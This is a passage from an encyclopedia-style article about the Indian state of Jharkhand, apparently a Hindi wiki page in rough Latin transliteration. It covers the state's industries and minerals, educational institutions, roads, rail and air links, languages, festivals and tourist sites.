• jamashedapur mean niji kshetr ki tata ayaran eand stil kanpani (tisko)
• any pramukh udyog haian: tata ianjiniyariang eand lokomotiv kanpani (telko)
• timaken iandiya limited (jamashedapur)
• bharat kukiang limited (dhanabad)
• khiladi simeant phaiktari (palamoo)
• iandiyan ailyoominiyam (muri)
• e si si simeant (chaibasar)
• seantral kolaphijds limited (raanchi)
• usha martin, usha bailtran, yooreniyam karaporeshan (ian) limited (jadoogoda)
• hiandustan k aaupar limited (musabani)
• tin plet kanpani aauph iandiya limited (jamashedapur)
• iandiyan eksaplosiv limited (gomiya)
• hiandalako b aauksait (loharadaga)
• jharakhand rajy khanij sansadhanoan mean desh ka samriddhatam rajy hai. yahaan upalabdh pramukh khanij haian- koyala, kachcha loha, choona patthar, taanba, b aauksait, chini mitti, kainait, chikani mitti, dolomait, grephait, baiantonait, sabun patthar billauri ret aur silika baloo.
• is navagathit rajy mean sianhabhoomi, bokaro, hazaribag, raanchi, kodarama aur dhanabad mean koyala, abhrak aur any khanijoan ke dohan ki apar kshamataean haian.

shiksha

jharakhand mean saksharata dar 2001 ke 54.13 pratishat ki tulana mean 67.6% ho gee hai. yahaan 21,386 vidyalay aur paanch vishvavidyalay haian. isake alava yahaan iandiyan skool aauf maians, jana- mana vyapar evan prabandhan sansthan, zeviyar lebar rileshans ianstityoot aur keandriy khanan shodh sansthan jaise shaikshanik v shodh sansthan sthit haian. jamashedapur sthit iando- dainish tool room (aee. di. ti. ar.), raanchi sthit dizain devalepameant aiand treniang seantar aur men tool room audyogik kriyakalapoan ko kalapurzo v prashikshan suvidhaean upalabdh karane mean mahattvapoorn bhoomika nibha rahe haian. [[chitr:Bokaro-Steel-Plant.jpg|bokaro stil plaant|thumb|250px]]

• jharakhand ki shiksha sansthaoan mean kuchh atyant pramukh shiksha sansthan shamil haian.
• janajatiy pradesh hone ke bavazood yahaan kee nami sarakari evan niji k aaulej haian jo kala, vijnan, abhiyaantriki, medisin, qanoon aur mainejameant mean uchch star ki shiksha dene ke liye vikhyat haian .

shikshan sansthan

• raanchi vishvavavidyalay
• siddhoo kanhoo vishvavidyalay dumaka
• vinoba bhave vishvavidyalay hazaribag
• birasa krishi vishvavidyalay raanchi
• birala praudyogiki sansthan mesara raanchi

any sansthan

• rashtriy dhatukarm prayogashala jamashedapur
• rashtriy khanan shodh sansthan dhanabad
• bharatiy lah shodh sansthan raanchi
• rashtriy manochikatsa sansthan raanchi
• jeviyar prabandhan sansthan.

parivahan

kabhi mahattvapoorn rahe jalamarg ab apana mahattv kho chuke haian. rajy mean mal ke avagaman sanbandhi suvidhaean raanchi, bokaro, dhanabad aur jamashedapur mean upalabdh haian. isake ilava kiriburu, loharadag aur sabhi koyala khadanoan mean ayask vahan ki suvidhaean upalabdh haian. [[chitr:View-Of-Ranchi.jpg|thumb|250px|left|raanchi ka ek drishy]]

s dak marg

• jharakhand rajy mean s dakoan ki kul lanbaee 4,311 kilomitar hai. isamean 1,500 kilomitar rashtriy rajamarg aur 2,711 kilomitar praantiy rajamarg haian.
• jharakhand ke lagabhag ek chauthaee gaanvoan tak hi pakki s dakean pahuanchi haian, jabaki rashtriy rajamarg ka 1,006 kimi rajy se hokar guzarata hai, jisamean graiand trank rod bhi shamil hai.
• chhota nagapur pathar ke asapas ki s dakean behatarin haian, jo yahaan dvitiy vishv yuddh ke dauran kie ge kam ka parinam haian.
• hazaribag aur baharago da ke bich 333 kimi ki char len vali rajamarg pariyojana ka nirman-kary hua hai.

rel marg

• jharakhand se guzarane vali kalakatta (vartaman kolakata)- dilli rel lain 1864 mean shuroo huee thi.
• jharakhand rajy mean vikasit relave pranali hai.
• raanchi, bokaro, dhanabad, jamashedapur kuchh pramukh relave steshan haian.

havaee marg

• raanchi mean niyamit vayusevaean bhi upalabdh haian.
• viman seva se raanchi, dilli, patana aur muanbee se ju da hai.
• jamashedapur, bokaro, giridih, devaghar, hazaribag, daltanaganj aur noamuandi mean havaee pattiyaan haian.

saanskritik jivan

[[chitr:Vaidyanath-Temple.jpg|vaidyanath mandir, devaghar|thumb|250px]] jharakhand ke saanskritik kshetr apane-apane bhashaee kshetroan se ju de haian. hindi, santhali, muanda, ho, kudukh, maithili, malto, kuramali, khoratha aur urdoo bhashaean yahaan par boli jati hai. bhojapuri boli ka likhit sahity n hone ke bavajood isaka ullekhaniy maukhik lok sahity hai. magahi ki bhi samriddh lok parampara hai.

adhikaansh janajatiy gaanvoan mean ek nrityasthali hoti hai. pika, chhu, jadur, karama, nachani, natua, agni, chhokara, santhal, jamada, ghatavari, mahata, sohari, luriseri yahaan ke lokanrity haian. pratyek gaanv ka apana pavitr vriksh (sarana) hota hai, jahaan gaanv ke pujari dvara pooja arpit ki jati hai. isake alava avivahitoan ka shayanagar bhi hota hai. saptahik hat janajatiy arthavyavastha mean mahattvapoorn bhoomika nibhati hai. janajatiy tyohar (jaise sarahul), vasantotsav (sohari) aur shitotsav (magh parab) ullas ke avasar haian. janajatiy sanskriti bahari prabhavoan, jaise eesaeeyat, audyogikikaran, ne sanchar samparkoan, janajatiy kalyan karyakramoan aur samudayik vikas pariyojanaoan chalate tezi se badal rahi hai.

yahaan dharmik aur saanskritik mahattv ke anek sthan haian. jamashedapur mean dimana jhil aur dalama vany abhayarany haian. prasiddh vrindavan udyan ki pratikriti jubali park, jamashedapur ke 225 ek d ke kshetr mean phaila hai. netarahat rajy ke prasiddh lokapriy paryatan sairagahoan mean se ek hai. pavitr nagar devaghar apane vaidyanath mandir ke lie vikhyat hai. vibhinn hindoo tyoharoan mean holi v chhath (mukhyat: mahilaoan dvara soory poojan) shamil haian.

paryatan sthal

[[chitr:Coal-Mine-Dhanbad-Jharkhand.jpg|thumb|250px|koyale ki khan, dhanabad]] rajy mean anek manoram sthal haian. ye haian-

• ichagadh pakshi vihar
• uddhav pakshi vihar- sahibaganj (pathara jhil)
• chacharo magaramachchh palan keandr kodarama (tilaya baandh)
• chandrapur pakshi vihar
• javaharalal neharoo chidiyaghar (bokaro)
• tenughat pakshi vihar, dalama vanyajiv abhayarany (jamashedapur)
• tata stil chidiyaghar (jamashedapur)
• palakot vanyajiv abhayarany (gumala)
• bhagavan birasa chidiyaghar (raanchi)
• birasa hiran abhayarany (kalamati raanchi)
• betala rashtriy udyan (palamoo)
• raanchi matsy keandr (raanchi)
• hazaribag rashtriy udyan
• tatoloee garm pani jharana (dumaka)

[[chitr:Dimna-Lake-Jamshedpur.jpg|thumb|250px|dimana jhil, jamashedapur]]

• saranda van
• jharakhand mean kuchh mashahoor mandir bhi haian-
• jharakhand dham
• laganta baba mandir/majar
• biandhyavasini mandir
• masanajor dham

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

vithika

• chitr:Chinnamasta Temple.jpg

  chhinnamastika mandir, rajarappa

• chitr:Hazaribag-National-Park.jpg

  hazaribag abhayarany

• chitr:Masanjore-Dam-Dumka.jpg

  masanajor baandh, dumaka

• chitr:Usri-Falls-Giridih.jpg

  usari jharana, giridih

sanbandhit lekh

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